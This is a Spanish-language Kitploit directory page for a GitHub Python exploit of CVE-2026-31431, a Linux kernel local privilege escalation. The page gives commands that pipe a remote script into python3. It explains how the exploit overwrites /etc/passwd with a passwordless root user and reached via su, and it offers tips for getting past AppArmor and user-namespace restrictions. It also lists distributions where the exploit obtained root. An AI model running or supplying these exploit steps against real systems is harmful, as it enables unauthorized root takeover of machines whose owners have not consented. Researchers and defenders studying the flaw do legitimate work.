Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/guiimoraes/cve-2026-31431
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónExplotación de Binarios
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Explotación de escalada de privilegios local en el kernel de Linux para CVE-2026-31431, aprovechando xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW para sobrescribir /etc/passwd y obtener acceso root.

Ver Repositorio
3hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Demostración del exploit CopyFail2

CopyFail2 (CVE-2026-31431) - Implementación en Python

Puerto en Python del exploit de kernel CopyFail2 que aprovecha la ruta rápida sin copy-on-write de MSG_SPLICE_PAGES en xfrm ESP-in-UDP para la escalada local de privilegios en Linux sin privilegios.

Reemplaza una entrada nologin/false en /etc/passwd con un usuario uid-0 sin contraseña y accede a una shell root mediante su.

Vulnerabilidad

El fallo del kernel reside en la ruta de splice UDP utilizada por la encapsulación xfrm ESP-in-UDP. splice() en un socket UDP con MSG_SPLICE_PAGES hace que las páginas se mapeen en la caché de páginas del receptor sin activar copy-on-write. Esto permite escribir en cualquier archivo actualmente mapeado en la caché de páginas, incluso si se abrió en modo solo lectura.

  • Implementación original en C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Corrección upstream: netdev/net.git

Requisitos

  • Kernel Linux >= 6.5 (soporte UDP de MSG_SPLICE_PAGES)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN o la capacidad de crear namespaces de usuario

Qué versión usar

Este repositorio proporciona dos variantes. Ambas producen el mismo resultado; elige según tus limitaciones.

Inicio rápido (optimizado)

root@kitploit:~
# Una línea mediante pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Archivo guardado
python3 exploit.py

# Revertir cambios
python3 exploit.py --clean

Inicio rápido (crudo/referencia)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

En Ubuntu con apparmor_restrict_unprivileged_userns habilitado, guarda el archivo primero y ejecútalo desde disco; el modo pipe omite el baile de evasión de AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Cómo funciona

  1. Fuerza bruta un IV AES-GCM cuyo byte de flujo de claves aplica XOR al byte original de /etc/passwd para convertirlo en el valor deseado.
  2. Instala un estado xfrm ESP-in-UDP local en 127.0.0.1:4500.
  3. Crea un archivo de respaldo controlado por el atacante que contiene la cabecera ESP falsificada y el ICV.
  4. Hace splice() de tres rangos (cabecera ESP, byte objetivo de /etc/passwd, ICV) en un pipe.
  5. Hace splice() del pipe en el socket UDP, activando el fallo del kernel y escribiendo el byte en la caché de páginas.
  6. Repite para cada byte diferente para sobrescribir una línea nologin/false con sick::0:0:...:/:/bin/bash.
  7. su - sick accede a root (PAM nullok acepta contraseña vacía).

Probado

Solución de problemas

cannot acquire CAP_NET_ADMIN

Tu kernel puede tener kernel.unprivileged_userns_clone=0. Habilítalo:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Si se ejecuta dentro de Docker, inicia el contenedor con --privileged o --cap-add=SYS_ADMIN.

Créditos

  • Hyunwoo Kim (imv4bel) y Kuan-Ting Chen — descubrimiento y corrección upstream
  • Steffen Klassert — mantenedor de IPsec, publicó la corrección
  • Brad Spengler / grsecurity — acuñó el término "clase copyfail"
  • Theori / Xint — Copy Fail original (CVE-2026-31431)
  • Exploit C original de 0xdeadbeefnetwork
  • Exploit Python de guiimoraes

Aviso legal

Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y fines educativos. No la uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso o los daños causados por este software.

Descargar herramienta
ArchivoDescripciónVelocidadCuándo usarlo
exploit.pyOptimizado — reutiliza el estado xfrm/sockets/pipe entre mutaciones, agrupa 2 bytes consecutivos por ronda, sondeo activo en lugar de espera fija.~3–8 s para una línea de 99 bytesOpción predeterminada. Rápido, estable, probado en múltiples distribuciones.
exploit_raw.pyReferencia — lo más cercano al código C original. Recrea el estado xfrm, sockets, pipe y archivo temporal para cada byte individual, espera fija de 200 ms por mutación.~30–40 s para una línea de 99 bytesÚsalo si quieres la ruta de código más simple posible para auditoría, o si la versión optimizada se comporta mal en una compilación de kernel específica.
DistribuciónKernelResultado
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericno vulnerable